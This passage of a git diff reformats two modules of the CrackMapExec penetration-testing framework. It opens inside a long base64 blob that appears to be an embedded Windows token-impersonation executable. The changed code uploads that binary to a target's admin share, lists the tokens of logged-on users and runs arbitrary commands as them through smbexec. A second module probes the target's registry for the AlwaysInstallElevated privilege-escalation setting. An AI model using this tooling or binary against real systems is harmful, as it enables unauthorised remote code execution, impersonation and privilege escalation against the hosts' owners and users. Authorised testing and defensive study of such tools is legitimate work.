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BAGgAAADIodCh2KEwrECsUKxYrGCsaKxwrHisgKyIrJisoKyorLCsuKzArMis0KzorPisCK0QrRitIK0oraCuqK6wrriuwK7IrtCu2K7gruiu8K74rgCvCK8QrxivIK8orzCvOK8AYAEAuAAAAFCsWKxgrGiscKx4rICsiKyQrJisoKyorLCsuKzArMis0KzYrOCs6KzwrPisAK0IrRCtGK0grSitMK04rUCtSK1QrVitYK1orXCteK2ArYitkK2YraCtsK24rcCtyK3Qrdit4K3orfCt+K0ArgiuEK4YriCuKK4wrjiuQK5IrlCuWK5grmiucK54roCuiK6QrpiuoK6orrCuuK7Arsiu0K7YruCu6K7wrviuAK8IrwAAAHABALABAADQotii4KLoovCi+KIAowijEKMYoyCjKKMwozijQKNIo6ijsKO4o8CjGKQopDikSKRYpGikeKSIpJikqKS4pMik2KTopPikCKUYpSilOKVIpVilaKV4pYilmKWopbilyKXYpeil+KUIphimKKY4pkimWKZopnimiKaYpqimuKbIptim6Kb4pginGKcopzinSKdYp2ineKeIp5inqKe4p8in2Kfop/inCKgYqCioOKhIqFioaKh4qIiomKioqLioyKjYqOio+KgIqRipKKk4qUipWKloqXipiKmYqaipuKnIqdip6Kn4qQiqGKooqjiqSKpYqmiqeKqIqpiqqKq4qsiq2KroqviqCKsYqyirOKtIq1iraKt4q4irmKuoq7iryKvYq+ir+KsIrBisKKw4rEisWKxorHisiKyYrKisuKzIrNis6Kz4rAitGK0orTitSK1YrWiteK2IrZitqK24rcit2K3orfitCK4YriiuOK5IrliuaK54roiumK6orriuyK7Yruiu+K4IrxivKK84r0ivWK9or3iviK+Yr6ivuK/Ir9iv6K/4rwAAAIABAIQAAAAIoBigKKA4oEigWKBooHigiKCYoKiguKDIoNig6KD4oAihGKEooTihSKFYoWiheKGIoZihqKG4ocih2KHoofihCKIYoiiiOKJIonCugK6QrqCusK7ArtCu4K7wrgCvEK8grzCvQK9Qr2CvcK+Ar5CvoK+wr8Cv0K/gr/CvAJABAKABAAAAoBCgIKAwoECgUKBgoHCggKCQoKCgsKDAoNCg4KDwoAChEKEgoTChQKFQoWChcKGAoZChoKGwocCh0KHgofChAKIQoiCiMKJAolCiYKJwooCikKKgorCiwKLQouCi8KIAoxCjIKMwo0CjUKNgo3CjgKOQo6CjsKPAo9Cj4KPwowCkEKQgpDCkQKRQpGCkcKSApJCkoKSwpMCk0KTgpPCkAKUQpSClMKVApVClYKVwpYClkKWgpbClwKXQpeCl8KUAphCmIKYwpkCmUKZgpnCmgKaQpqCmsKbAptCm4KbwpgCnEKcgpzCnQKdQp2CncKeAp5CnoKewp8Cn0Kfgp/CnAKgQqCCoMKhAqFCoYKhwqICokKigqLCowKjQqOCo8KgAqRCpIKkwqUCpUKlgqXCpgKmQqaCpsKnAqdCp4KnwqQCqEKogqjCqQKpQqmCqcKqAqpCqoKqwqsCq0KrgqvCqAKsQqyCrMKtAq1CrYKtwq4CrkKugq7CrwKvQq+Cr8KsArBCsIKwwrECsUKxgrHCsgKyQrKCsAAAAwAEAEAAAAHivkK+YrwAAANABABQAAAAgoDigQKBIoFCgWKAA8AEASAAAAKihwKEIoiiiSKJoooiiuKLQotii4KIYoyCjcKh4qICoiKiQqJiooKioqLCouKjIqNCo2KjgqOio8Kj4qACpAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + ) if "EXEC" in module_options: self.cmd = module_options["EXEC"] @@ -44,11 +47,11 @@ class CMEModule: def list_available_primary_tokens(self, _, connection): command = f"{self.tmp_dir}Impersonate.exe list" return connection.execute(command, True) - + def on_admin_login(self, context, connection): if self.useembeded: file_to_upload = "/tmp/Impersonate.exe" - with open(file_to_upload, 'wb') as impersonate: + with open(file_to_upload, "wb") as impersonate: impersonate.write(self.impersonate_embedded) else: if path.isfile(self.imp_exe): @@ -58,9 +61,11 @@ class CMEModule: exit(1) context.log.display(f"Uploading {self.impersonate}") - with open(file_to_upload, 'rb') as impersonate: + with open(file_to_upload, "rb") as impersonate: try: - connection.conn.putFile(self.share, f"{self.tmp_share}{self.impersonate}", impersonate.read) + connection.conn.putFile( + self.share, f"{self.tmp_share}{self.impersonate}", impersonate.read + ) context.log.success(f"Impersonate binary successfully uploaded") except Exception as e: context.log.fail(f"Error writing file to share {self.tmp_share}: {e}") @@ -82,10 +87,14 @@ class CMEModule: impersonated_user = token_owner.strip() break - if impersonated_user: + if impersonated_user: context.log.display(f"Executing {self.cmd} as {impersonated_user}") - command = f"{self.tmp_dir}Impersonate.exe exec {self.token} \"{self.cmd}\"" - for line in connection.execute(command, True, methods=["smbexec"]).splitlines(): + command = ( + f'{self.tmp_dir}Impersonate.exe exec {self.token} "{self.cmd}"' + ) + for line in connection.execute( + command, True, methods=["smbexec"] + ).splitlines(): context.log.highlight(line) else: context.log.fail(f"Invalid token ID submitted") @@ -94,7 +103,9 @@ class CMEModule: context.log.fail(f"Error running command: {e}") finally: try: - connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}") + connection.conn.deleteFile( + self.share, f"{self.tmp_share}{self.impersonate}" + ) context.log.success(f"Impersonate binary successfully deleted") except Exception as e: context.log.fail(f"Error deleting Impersonate.exe on {self.share}: {e}") diff --git a/cme/modules/install_elevated.py b/cme/modules/install_elevated.py index d727b6d3..0e3b3d0b 100644 --- a/cme/modules/install_elevated.py +++ b/cme/modules/install_elevated.py @@ -7,7 +7,6 @@ from impacket.examples.secretsdump import RemoteOperations class CMEModule: - name = "install_elevated" description = "Checks for AlwaysInstallElevated" supported_protocols = ["smb"] @@ -15,8 +14,7 @@ class CMEModule: multiple_hosts = True def options(self, context, module_options): - """ - """ + """ """ def on_admin_login(self, context, connection): try: @@ -25,36 +23,60 @@ class CMEModule: try: ans_machine = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp) - reg_handle = ans_machine['phKey'] - ans_machine = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, 'SOFTWARE\\Policies\\Microsoft\\Windows\\Installer') - key_handle = ans_machine['phkResult'] - data_type, aie_machine_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, 'AlwaysInstallElevated') + reg_handle = ans_machine["phKey"] + ans_machine = rrp.hBaseRegOpenKey( + remote_ops._RemoteOperations__rrp, + reg_handle, + "SOFTWARE\\Policies\\Microsoft\\Windows\\Installer", + ) + key_handle = ans_machine["phkResult"] + data_type, aie_machine_value = rrp.hBaseRegQueryValue( + remote_ops._RemoteOperations__rrp, + key_handle, + "AlwaysInstallElevated", + ) rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) if aie_machine_value == 0: - context.log.highlight('AlwaysInstallElevated Status: 0 (Disabled)') + context.log.highlight("AlwaysInstallElevated Status: 0 (Disabled)") return except rrp.DCERPCSessionError: - context.log.highlight('AlwaysInstallElevated Status: 0 (Disabled)') + context.log.highlight("AlwaysInstallElevated Status: 0 (Disabled)") return try: ans_user = rrp.hOpenCurrentUser(remote_ops._RemoteOperations__rrp) - reg_handle = ans_user['phKey'] - ans_user = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, 'SOFTWARE\\Policies\\Microsoft\\Windows\\Installer') - key_handle = ans_user['phkResult'] - data_type, aie_user_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, 'AlwaysInstallElevated') + reg_handle = ans_user["phKey"] + ans_user = rrp.hBaseRegOpenKey( + remote_ops._RemoteOperations__rrp, + reg_handle, + "SOFTWARE\\Policies\\Microsoft\\Windows\\Installer", + ) + key_handle = ans_user["phkResult"] + data_type, aie_user_value = rrp.hBaseRegQueryValue( + remote_ops._RemoteOperations__rrp, + key_handle, + "AlwaysInstallElevated", + ) rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) except rrp.DCERPCSessionError: - context.log.highlight('AlwaysInstallElevated Status: 1 (Enabled: Computer Only)') + context.log.highlight( + "AlwaysInstallElevated Status: 1 (Enabled: Computer Only)" + ) return if aie_user_value == 0: - context.log.highlight('AlwaysInstallElevated Status: 1 (Enabled: Computer Only)') + context.log.highlight( + "AlwaysInstallElevated Status: 1 (Enabled: Computer Only)" + ) else: - context.log.highlight('AlwaysInstallElevated Status: 1 (Enabled)') + context.log.highlight("AlwaysInstallElevated Status: 1 (Enabled)") finally: try: remote_ops.finish() except scmr.DCERPCSessionError as e: - context.log.debug(f"Received SessionError while attempting to clean up logins: {e}") + context.log.debug( + f"Received SessionError while attempting to clean up logins: {e}" + ) except Exception as e: - context.log.debug(f"Received general exception while attempting to clean 